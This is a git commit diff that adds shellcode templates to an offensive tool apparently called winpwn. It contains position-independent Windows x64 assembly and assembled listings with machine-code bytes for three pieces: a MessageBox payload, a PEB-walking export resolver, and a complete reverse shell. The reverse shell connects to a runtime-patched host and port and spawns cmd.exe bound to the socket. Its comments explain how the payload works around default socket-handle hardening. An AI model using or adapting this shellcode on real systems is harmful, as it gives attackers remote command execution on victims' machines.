v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
; messagebox_x64.asm — position-independent x64 shellcode: resolve
|
||||
; user32.dll!MessageBoxA via LoadLibraryA (user32.dll isn't guaranteed
|
||||
; loaded in a plain console process, unlike kernel32) and pop a real
|
||||
; message box. Returns normally (ret) once the user dismisses it, so the
|
||||
; host thread keeps running afterward.
|
||||
;
|
||||
; text_buf/caption_buf are fixed-size placeholders at the very end of the
|
||||
; assembled blob; winpwn patches them at runtime with the actual
|
||||
; NUL-terminated strings (see shellcraft.go).
|
||||
BITS 64
|
||||
default rel
|
||||
|
||||
start:
|
||||
push rbp
|
||||
push r12
|
||||
mov rbp, rsp
|
||||
and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
||||
|
||||
call get_kernel32_base
|
||||
mov rcx, rax
|
||||
lea rdx, [rel name_user32]
|
||||
lea r8, [rel name_messageboxa]
|
||||
call resolve_export
|
||||
mov r12, rax ; r12 = MessageBoxA address
|
||||
|
||||
xor rcx, rcx ; hWnd = NULL
|
||||
lea rdx, [rel text_buf] ; lpText
|
||||
lea r8, [rel caption_buf] ; lpCaption
|
||||
xor r9, r9 ; uType = MB_OK
|
||||
sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
call r12
|
||||
add rsp, 0x20
|
||||
|
||||
mov rsp, rbp
|
||||
pop r12
|
||||
pop rbp
|
||||
ret
|
||||
|
||||
%include "resolver.inc"
|
||||
|
||||
name_user32: db "user32.dll", 0
|
||||
name_messageboxa: db "MessageBoxA", 0
|
||||
|
||||
align 8
|
||||
text_buf:
|
||||
times 256 db 0
|
||||
|
||||
align 8
|
||||
caption_buf:
|
||||
times 64 db 0
|
||||
Binary file not shown.
@@ -0,0 +1,218 @@
|
||||
1 ; messagebox_x64.asm — position-independent x64 shellcode: resolve
|
||||
2 ; user32.dll!MessageBoxA via LoadLibraryA (user32.dll isn't guaranteed
|
||||
3 ; loaded in a plain console process, unlike kernel32) and pop a real
|
||||
4 ; message box. Returns normally (ret) once the user dismisses it, so the
|
||||
5 ; host thread keeps running afterward.
|
||||
6 ;
|
||||
7 ; text_buf/caption_buf are fixed-size placeholders at the very end of the
|
||||
8 ; assembled blob; winpwn patches them at runtime with the actual
|
||||
9 ; NUL-terminated strings (see shellcraft.go).
|
||||
10 BITS 64
|
||||
11 default rel
|
||||
12
|
||||
13 start:
|
||||
14 00000000 55 push rbp
|
||||
15 00000001 4154 push r12
|
||||
16 00000003 4889E5 mov rbp, rsp
|
||||
17 00000006 4883E4F0 and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
|
||||
18
|
||||
19 0000000A E83F000000 call get_kernel32_base
|
||||
20 0000000F 4889C1 mov rcx, rax
|
||||
21 00000012 488D1551010000 lea rdx, [rel name_user32]
|
||||
22 00000019 4C8D0555010000 lea r8, [rel name_messageboxa]
|
||||
23 00000020 E8CE000000 call resolve_export
|
||||
24 00000025 4989C4 mov r12, rax ; r12 = MessageBoxA address
|
||||
25
|
||||
26 00000028 4831C9 xor rcx, rcx ; hWnd = NULL
|
||||
27 0000002B 488D1556010000 lea rdx, [rel text_buf] ; lpText
|
||||
28 00000032 4C8D054F020000 lea r8, [rel caption_buf] ; lpCaption
|
||||
29 00000039 4D31C9 xor r9, r9 ; uType = MB_OK
|
||||
30 0000003C 4883EC20 sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
31 00000040 41FFD4 call r12
|
||||
32 00000043 4883C420 add rsp, 0x20
|
||||
33
|
||||
34 00000047 4889EC mov rsp, rbp
|
||||
35 0000004A 415C pop r12
|
||||
36 0000004C 5D pop rbp
|
||||
37 0000004D C3 ret
|
||||
38
|
||||
39 %include "resolver.inc"
|
||||
1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn
|
||||
2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
||||
3 <1> ; addresses) and resolve any export by name (no hashing, just a linear
|
||||
4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of
|
||||
5 <1> ; one-shot resolutions).
|
||||
6 <1> ;
|
||||
7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
||||
8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every
|
||||
9 <1> ; non-volatile register they touch, so callers can keep values live in
|
||||
10 <1> ; r12-r15 across calls to either of these.
|
||||
11 <1>
|
||||
12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address
|
||||
13 <1> ;
|
||||
14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
||||
15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
||||
16 <1> ; fixed load order is the same trick essentially every public Windows x64
|
||||
17 <1> ; shellcode relies on.
|
||||
18 <1> get_kernel32_base:
|
||||
19 0000004E 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
||||
20 00000057 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr
|
||||
21 0000005B 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
||||
22 0000005F 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
||||
23 00000062 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
||||
24 00000065 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
||||
25 00000069 C3 <1> ret
|
||||
26 <1>
|
||||
27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
||||
28 <1> ; -> RAX = absolute address of the export, or 0 if not found.
|
||||
29 <1> ;
|
||||
30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
||||
31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and
|
||||
32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
||||
33 <1> ; DataDirectory[0] (export table) offset for PE32+.
|
||||
34 <1> find_export:
|
||||
35 0000006A 4154 <1> push r12
|
||||
36 0000006C 4155 <1> push r13
|
||||
37 0000006E 4156 <1> push r14
|
||||
38 00000070 4157 <1> push r15
|
||||
39 00000072 56 <1> push rsi
|
||||
40 00000073 57 <1> push rdi
|
||||
41 00000074 53 <1> push rbx
|
||||
42 <1>
|
||||
43 00000075 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
||||
44 00000078 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved)
|
||||
45 <1>
|
||||
46 0000007B 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew
|
||||
47 00000080 4C01E0 <1> add rax, r12 ; rax = NT header VA
|
||||
48 00000083 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
||||
49 00000089 4C01E0 <1> add rax, r12
|
||||
50 0000008C 4989C6 <1> mov r14, rax ; r14 = export directory VA
|
||||
51 <1>
|
||||
52 0000008F 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
||||
53 00000093 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA
|
||||
54 00000097 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
||||
55 0000009A 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
||||
56 0000009E 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
||||
57 000000A1 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
||||
58 000000A5 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
||||
59 <1>
|
||||
60 000000A8 4D31FF <1> xor r15, r15 ; r15 = loop index i
|
||||
61 <1>
|
||||
62 <1> .loop:
|
||||
63 000000AB 4939DF <1> cmp r15, rbx
|
||||
64 000000AE 7D34 <1> jge .notfound
|
||||
65 <1>
|
||||
66 000000B0 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i
|
||||
67 000000B4 4C01E0 <1> add rax, r12
|
||||
68 000000B7 4889C6 <1> mov rsi, rax ; rsi = candidate name VA
|
||||
69 000000BA 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
||||
70 <1>
|
||||
71 <1> .cmp_loop:
|
||||
72 000000BD 8A06 <1> mov al, [rsi]
|
||||
73 000000BF 8A0F <1> mov cl, [rdi]
|
||||
74 000000C1 38C8 <1> cmp al, cl
|
||||
75 000000C3 750C <1> jne .next
|
||||
76 000000C5 84C0 <1> test al, al
|
||||
77 000000C7 740D <1> je .found ; both hit NUL with every byte equal -> match
|
||||
78 000000C9 48FFC6 <1> inc rsi
|
||||
79 000000CC 48FFC7 <1> inc rdi
|
||||
80 000000CF EBEC <1> jmp .cmp_loop
|
||||
81 <1>
|
||||
82 <1> .next:
|
||||
83 000000D1 49FFC7 <1> inc r15
|
||||
84 000000D4 EBD5 <1> jmp .loop
|
||||
85 <1>
|
||||
86 <1> .found:
|
||||
87 000000D6 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
||||
88 000000DB 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA
|
||||
89 000000DF 4C01E0 <1> add rax, r12 ; absolute address
|
||||
90 000000E2 EB03 <1> jmp .done
|
||||
91 <1>
|
||||
92 <1> .notfound:
|
||||
93 000000E4 4831C0 <1> xor rax, rax
|
||||
94 <1>
|
||||
95 <1> .done:
|
||||
96 000000E7 5B <1> pop rbx
|
||||
97 000000E8 5F <1> pop rdi
|
||||
98 000000E9 5E <1> pop rsi
|
||||
99 000000EA 415F <1> pop r15
|
||||
100 000000EC 415E <1> pop r14
|
||||
101 000000EE 415D <1> pop r13
|
||||
102 000000F0 415C <1> pop r12
|
||||
103 000000F2 C3 <1> ret
|
||||
104 <1>
|
||||
105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
|
||||
106 <1> ; -> RAX = absolute address of the export, or 0 on any failure.
|
||||
107 <1> ;
|
||||
108 <1> ; find_export alone only works if the target module is *already* loaded
|
||||
109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
|
||||
110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export
|
||||
111 <1> ; (the function is assumed already loaded at the module base in RCX).
|
||||
112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
|
||||
113 <1> ; (itself just another find_export call) and called to load-or-fetch the
|
||||
114 <1> ; named module, then find_export resolves R8 inside *that* module's base.
|
||||
115 <1> resolve_export:
|
||||
116 000000F3 4154 <1> push r12 ; kernel32 base
|
||||
117 000000F5 4155 <1> push r13 ; dll name ptr (or 0)
|
||||
118 000000F7 4156 <1> push r14 ; func name ptr
|
||||
119 000000F9 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
|
||||
120 000000FA 4889E5 <1> mov rbp, rsp
|
||||
121 000000FD 4883E4F0 <1> and rsp, ~0xF
|
||||
122 <1>
|
||||
123 00000101 4989CC <1> mov r12, rcx
|
||||
124 00000104 4989D5 <1> mov r13, rdx
|
||||
125 00000107 4D89C6 <1> mov r14, r8
|
||||
126 <1>
|
||||
127 0000010A 4D85ED <1> test r13, r13
|
||||
128 0000010D 750D <1> jnz .need_loadlibrary
|
||||
129 <1>
|
||||
130 0000010F 4C89E1 <1> mov rcx, r12
|
||||
131 00000112 4C89F2 <1> mov rdx, r14
|
||||
132 00000115 E850FFFFFF <1> call find_export
|
||||
133 0000011A EB36 <1> jmp .resolve_done
|
||||
134 <1>
|
||||
135 <1> .need_loadlibrary:
|
||||
136 0000011C 4C89E1 <1> mov rcx, r12
|
||||
137 0000011F 488D1537000000 <1> lea rdx, [rel name_loadlibrarya]
|
||||
138 00000126 E83FFFFFFF <1> call find_export
|
||||
139 0000012B 4885C0 <1> test rax, rax
|
||||
140 0000012E 741F <1> jz .resolve_fail
|
||||
141 <1>
|
||||
142 00000130 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName)
|
||||
143 00000133 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
144 00000137 FFD0 <1> call rax
|
||||
145 00000139 4883C420 <1> add rsp, 0x20
|
||||
146 0000013D 4885C0 <1> test rax, rax
|
||||
147 00000140 740D <1> jz .resolve_fail
|
||||
148 <1>
|
||||
149 00000142 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base
|
||||
150 00000145 4C89F2 <1> mov rdx, r14
|
||||
151 00000148 E81DFFFFFF <1> call find_export
|
||||
152 0000014D EB03 <1> jmp .resolve_done
|
||||
153 <1>
|
||||
154 <1> .resolve_fail:
|
||||
155 0000014F 4831C0 <1> xor rax, rax
|
||||
156 <1>
|
||||
157 <1> .resolve_done:
|
||||
158 00000152 4889EC <1> mov rsp, rbp
|
||||
159 00000155 5D <1> pop rbp
|
||||
160 00000156 415E <1> pop r14
|
||||
161 00000158 415D <1> pop r13
|
||||
162 0000015A 415C <1> pop r12
|
||||
163 0000015C C3 <1> ret
|
||||
164 <1>
|
||||
165 0000015D 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0
|
||||
165 00000166 72794100 <1>
|
||||
40
|
||||
41 0000016A 7573657233322E646C- name_user32: db "user32.dll", 0
|
||||
41 00000173 6C00
|
||||
42 00000175 4D657373616765426F- name_messageboxa: db "MessageBoxA", 0
|
||||
42 0000017E 784100
|
||||
43
|
||||
44 00000181 90<rep 7h> align 8
|
||||
45 text_buf:
|
||||
46 00000188 00<rep 100h> times 256 db 0
|
||||
47
|
||||
48 align 8
|
||||
49 caption_buf:
|
||||
50 00000288 00<rep 40h> times 64 db 0
|
||||
@@ -0,0 +1,165 @@
|
||||
; resolver.inc — shared x64 position-independent building blocks for winpwn
|
||||
; shellcraft templates: find kernel32's base via the PEB (no hardcoded
|
||||
; addresses) and resolve any export by name (no hashing, just a linear
|
||||
; name-table scan — simple, auditable, and plenty fast for a handful of
|
||||
; one-shot resolutions).
|
||||
;
|
||||
; Calling convention (our own, not WinAPI): standard x64 fastcall-ish,
|
||||
; args in RCX/RDX, result in RAX. Both routines preserve every
|
||||
; non-volatile register they touch, so callers can keep values live in
|
||||
; r12-r15 across calls to either of these.
|
||||
|
||||
; get_kernel32_base() -> RAX = kernel32.dll base address
|
||||
;
|
||||
; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running
|
||||
; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this
|
||||
; fixed load order is the same trick essentially every public Windows x64
|
||||
; shellcode relies on.
|
||||
get_kernel32_base:
|
||||
mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64)
|
||||
mov rax, [rax+0x18] ; PEB->Ldr
|
||||
mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks
|
||||
mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll)
|
||||
mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll)
|
||||
mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks)
|
||||
ret
|
||||
|
||||
; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name)
|
||||
; -> RAX = absolute address of the export, or 0 if not found.
|
||||
;
|
||||
; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each
|
||||
; entry against the target string, then follows AddressOfNameOrdinals and
|
||||
; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical
|
||||
; DataDirectory[0] (export table) offset for PE32+.
|
||||
find_export:
|
||||
push r12
|
||||
push r13
|
||||
push r14
|
||||
push r15
|
||||
push rsi
|
||||
push rdi
|
||||
push rbx
|
||||
|
||||
mov r12, rcx ; r12 = module base (preserved for the whole routine)
|
||||
mov r13, rdx ; r13 = target name pointer (preserved)
|
||||
|
||||
mov eax, [r12+0x3C] ; e_lfanew
|
||||
add rax, r12 ; rax = NT header VA
|
||||
mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress)
|
||||
add rax, r12
|
||||
mov r14, rax ; r14 = export directory VA
|
||||
|
||||
mov ebx, [r14+0x18] ; ebx = NumberOfNames
|
||||
mov r9d, [r14+0x20] ; AddressOfNames RVA
|
||||
add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings)
|
||||
mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA
|
||||
add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals)
|
||||
mov r11d, [r14+0x1C] ; AddressOfFunctions RVA
|
||||
add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code)
|
||||
|
||||
xor r15, r15 ; r15 = loop index i
|
||||
|
||||
.loop:
|
||||
cmp r15, rbx
|
||||
jge .notfound
|
||||
|
||||
mov eax, [r9 + r15*4] ; nameRVA for entry i
|
||||
add rax, r12
|
||||
mov rsi, rax ; rsi = candidate name VA
|
||||
mov rdi, r13 ; rdi = target name VA (reset every attempt)
|
||||
|
||||
.cmp_loop:
|
||||
mov al, [rsi]
|
||||
mov cl, [rdi]
|
||||
cmp al, cl
|
||||
jne .next
|
||||
test al, al
|
||||
je .found ; both hit NUL with every byte equal -> match
|
||||
inc rsi
|
||||
inc rdi
|
||||
jmp .cmp_loop
|
||||
|
||||
.next:
|
||||
inc r15
|
||||
jmp .loop
|
||||
|
||||
.found:
|
||||
movzx rax, word [r10 + r15*2] ; ordinal index for entry i
|
||||
mov eax, [r11 + rax*4] ; function RVA
|
||||
add rax, r12 ; absolute address
|
||||
jmp .done
|
||||
|
||||
.notfound:
|
||||
xor rax, rax
|
||||
|
||||
.done:
|
||||
pop rbx
|
||||
pop rdi
|
||||
pop rsi
|
||||
pop r15
|
||||
pop r14
|
||||
pop r13
|
||||
pop r12
|
||||
ret
|
||||
|
||||
; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr)
|
||||
; -> RAX = absolute address of the export, or 0 on any failure.
|
||||
;
|
||||
; find_export alone only works if the target module is *already* loaded
|
||||
; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll
|
||||
; in a plain console process. When RDX is 0 this is exactly find_export
|
||||
; (the function is assumed already loaded at the module base in RCX).
|
||||
; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32
|
||||
; (itself just another find_export call) and called to load-or-fetch the
|
||||
; named module, then find_export resolves R8 inside *that* module's base.
|
||||
resolve_export:
|
||||
push r12 ; kernel32 base
|
||||
push r13 ; dll name ptr (or 0)
|
||||
push r14 ; func name ptr
|
||||
push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start
|
||||
mov rbp, rsp
|
||||
and rsp, ~0xF
|
||||
|
||||
mov r12, rcx
|
||||
mov r13, rdx
|
||||
mov r14, r8
|
||||
|
||||
test r13, r13
|
||||
jnz .need_loadlibrary
|
||||
|
||||
mov rcx, r12
|
||||
mov rdx, r14
|
||||
call find_export
|
||||
jmp .resolve_done
|
||||
|
||||
.need_loadlibrary:
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_loadlibrarya]
|
||||
call find_export
|
||||
test rax, rax
|
||||
jz .resolve_fail
|
||||
|
||||
mov rcx, r13 ; LoadLibraryA(lpLibFileName)
|
||||
sub rsp, 0x20 ; shadow space required before any WinAPI call
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
test rax, rax
|
||||
jz .resolve_fail
|
||||
|
||||
mov rcx, rax ; the newly (or already) loaded module's base
|
||||
mov rdx, r14
|
||||
call find_export
|
||||
jmp .resolve_done
|
||||
|
||||
.resolve_fail:
|
||||
xor rax, rax
|
||||
|
||||
.resolve_done:
|
||||
mov rsp, rbp
|
||||
pop rbp
|
||||
pop r14
|
||||
pop r13
|
||||
pop r12
|
||||
ret
|
||||
|
||||
name_loadlibrarya: db "LoadLibraryA", 0
|
||||
@@ -0,0 +1,157 @@
|
||||
; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
|
||||
; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
|
||||
; redirected to the socket. The classic Windows reverse-shell primitive.
|
||||
;
|
||||
; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
|
||||
; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
|
||||
; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
|
||||
; constants since they never change.
|
||||
;
|
||||
; Real gotcha, worth recording here since it's easy to miss and the
|
||||
; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
|
||||
; error anywhere) gives no hint why: socket() handles are NOT inheritable
|
||||
; by default on modern Windows (a hardening change from the days when
|
||||
; every handle was inheritable by default). bInheritHandles=TRUE on
|
||||
; CreateProcessA alone is not enough -- SetHandleInformation must mark the
|
||||
; specific socket handle as inheritable first, or the child simply doesn't
|
||||
; get a usable copy of it no matter what STARTUPINFOA says.
|
||||
BITS 64
|
||||
default rel
|
||||
|
||||
start:
|
||||
push rbp
|
||||
push r12
|
||||
push r13
|
||||
mov rbp, rsp
|
||||
and rsp, ~0xF
|
||||
|
||||
call get_kernel32_base
|
||||
mov r12, rax ; r12 = kernel32 base, kept for the whole routine
|
||||
|
||||
; WSAStartup(0x0202, &wsadata_buf)
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_ws2_32]
|
||||
lea r8, [rel name_wsastartup]
|
||||
call resolve_export
|
||||
mov rcx, 0x0202
|
||||
lea rdx, [rel wsadata_buf]
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_ws2_32]
|
||||
lea r8, [rel name_socket]
|
||||
call resolve_export
|
||||
mov rcx, 2
|
||||
mov rdx, 1
|
||||
mov r8, 6
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
mov r13, rax
|
||||
|
||||
; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
|
||||
; -- see the file header: without this, the child below can't actually
|
||||
; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
|
||||
mov rcx, r12
|
||||
xor rdx, rdx
|
||||
lea r8, [rel name_sethandleinformation]
|
||||
call resolve_export
|
||||
mov rcx, r13
|
||||
mov rdx, 1
|
||||
mov r8, 1
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
; connect(sockfd, &sockaddr_buf, 16)
|
||||
mov rcx, r12
|
||||
lea rdx, [rel name_ws2_32]
|
||||
lea r8, [rel name_connect]
|
||||
call resolve_export
|
||||
mov rcx, r13
|
||||
lea rdx, [rel sockaddr_buf]
|
||||
mov r8, 16
|
||||
sub rsp, 0x20
|
||||
call rax
|
||||
add rsp, 0x20
|
||||
|
||||
; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
|
||||
; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
|
||||
; CreateProcessA's own shadow space + its 6 stack-passed arguments.
|
||||
sub rsp, 0xE0
|
||||
|
||||
mov qword [rsp+0x50], 0
|
||||
mov qword [rsp+0x58], 0
|
||||
mov qword [rsp+0x60], 0
|
||||
mov qword [rsp+0x68], 0
|
||||
mov qword [rsp+0x70], 0
|
||||
mov qword [rsp+0x78], 0
|
||||
mov qword [rsp+0x80], 0
|
||||
mov qword [rsp+0x88], 0
|
||||
mov qword [rsp+0x90], 0
|
||||
mov qword [rsp+0x98], 0
|
||||
mov qword [rsp+0xA0], 0
|
||||
mov qword [rsp+0xA8], 0
|
||||
mov qword [rsp+0xB0], 0
|
||||
|
||||
mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
|
||||
mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
|
||||
mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
|
||||
mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
|
||||
mov [rsp+0xB0], r13 ; .hStdError (offset 96)
|
||||
|
||||
; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
|
||||
mov rcx, r12
|
||||
xor rdx, rdx
|
||||
lea r8, [rel name_createprocessa]
|
||||
call resolve_export
|
||||
mov r14, rax
|
||||
|
||||
xor rcx, rcx ; lpApplicationName = NULL
|
||||
lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
|
||||
xor r8, r8 ; lpProcessAttributes = NULL
|
||||
xor r9, r9 ; lpThreadAttributes = NULL
|
||||
mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
|
||||
mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
|
||||
mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
|
||||
mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
|
||||
lea rax, [rsp+0x50]
|
||||
mov qword [rsp+0x40], rax ; lpStartupInfo = &si
|
||||
lea rax, [rsp+0xB8]
|
||||
mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
|
||||
call r14
|
||||
|
||||
add rsp, 0xE0
|
||||
mov rsp, rbp
|
||||
pop r13
|
||||
pop r12
|
||||
pop rbp
|
||||
ret
|
||||
|
||||
%include "resolver.inc"
|
||||
|
||||
name_ws2_32: db "ws2_32.dll", 0
|
||||
name_wsastartup: db "WSAStartup", 0
|
||||
name_socket: db "socket", 0
|
||||
name_connect: db "connect", 0
|
||||
name_sethandleinformation: db "SetHandleInformation", 0
|
||||
name_createprocessa: db "CreateProcessA", 0
|
||||
|
||||
; lpCommandLine must point at writable memory (CreateProcessA may modify
|
||||
; it in place) -- fine here since shellcode bytes live in a writable page
|
||||
; wherever they landed, same as every other template's embedded buffers.
|
||||
cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
|
||||
|
||||
align 8
|
||||
wsadata_buf:
|
||||
times 512 db 0
|
||||
|
||||
align 8
|
||||
sockaddr_buf:
|
||||
dw 2 ; sin_family = AF_INET
|
||||
dw 0 ; sin_port, patched at runtime (network byte order)
|
||||
dd 0 ; sin_addr, patched at runtime (network byte order)
|
||||
dq 0 ; sin_zero[8]
|
||||
Binary file not shown.
@@ -0,0 +1,337 @@
|
||||
1 ; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
|
||||
2 ; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
|
||||
3 ; redirected to the socket. The classic Windows reverse-shell primitive.
|
||||
4 ;
|
||||
5 ; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
|
||||
6 ; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
|
||||
7 ; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
|
||||
8 ; constants since they never change.
|
||||
9 ;
|
||||
10 ; Real gotcha, worth recording here since it's easy to miss and the
|
||||
11 ; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
|
||||
12 ; error anywhere) gives no hint why: socket() handles are NOT inheritable
|
||||
13 ; by default on modern Windows (a hardening change from the days when
|
||||
14 ; every handle was inheritable by default). bInheritHandles=TRUE on
|
||||
15 ; CreateProcessA alone is not enough -- SetHandleInformation must mark the
|
||||
16 ; specific socket handle as inheritable first, or the child simply doesn't
|
||||
17 ; get a usable copy of it no matter what STARTUPINFOA says.
|
||||
18 BITS 64
|
||||
19 default rel
|
||||
20
|
||||
21 start:
|
||||
22 00000000 55 push rbp
|
||||
23 00000001 4154 push r12
|
||||
24 00000003 4155 push r13
|
||||
25 00000005 4889E5 mov rbp, rsp
|
||||
26 00000008 4883E4F0 and rsp, ~0xF
|
||||
27
|
||||
28 0000000C E8EB010000 call get_kernel32_base
|
||||
29 00000011 4989C4 mov r12, rax ; r12 = kernel32 base, kept for the whole routine
|
||||
30
|
||||
31 ; WSAStartup(0x0202, &wsadata_buf)
|
||||
32 00000014 4C89E1 mov rcx, r12
|
||||
33 00000017 488D15FA020000 lea rdx, [rel name_ws2_32]
|
||||
34 0000001E 4C8D05FE020000 lea r8, [rel name_wsastartup]
|
||||
35 00000025 E877020000 call resolve_export
|
||||
36 0000002A B902020000 mov rcx, 0x0202
|
||||
37 0000002F 488D153A030000 lea rdx, [rel wsadata_buf]
|
||||
38 00000036 4883EC20 sub rsp, 0x20
|
||||
39 0000003A FFD0 call rax
|
||||
40 0000003C 4883C420 add rsp, 0x20
|
||||
41
|
||||
42 ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
|
||||
43 00000040 4C89E1 mov rcx, r12
|
||||
44 00000043 488D15CE020000 lea rdx, [rel name_ws2_32]
|
||||
45 0000004A 4C8D05DD020000 lea r8, [rel name_socket]
|
||||
46 00000051 E84B020000 call resolve_export
|
||||
47 00000056 B902000000 mov rcx, 2
|
||||
48 0000005B BA01000000 mov rdx, 1
|
||||
49 00000060 41B806000000 mov r8, 6
|
||||
50 00000066 4883EC20 sub rsp, 0x20
|
||||
51 0000006A FFD0 call rax
|
||||
52 0000006C 4883C420 add rsp, 0x20
|
||||
53 00000070 4989C5 mov r13, rax
|
||||
54
|
||||
55 ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
|
||||
56 ; -- see the file header: without this, the child below can't actually
|
||||
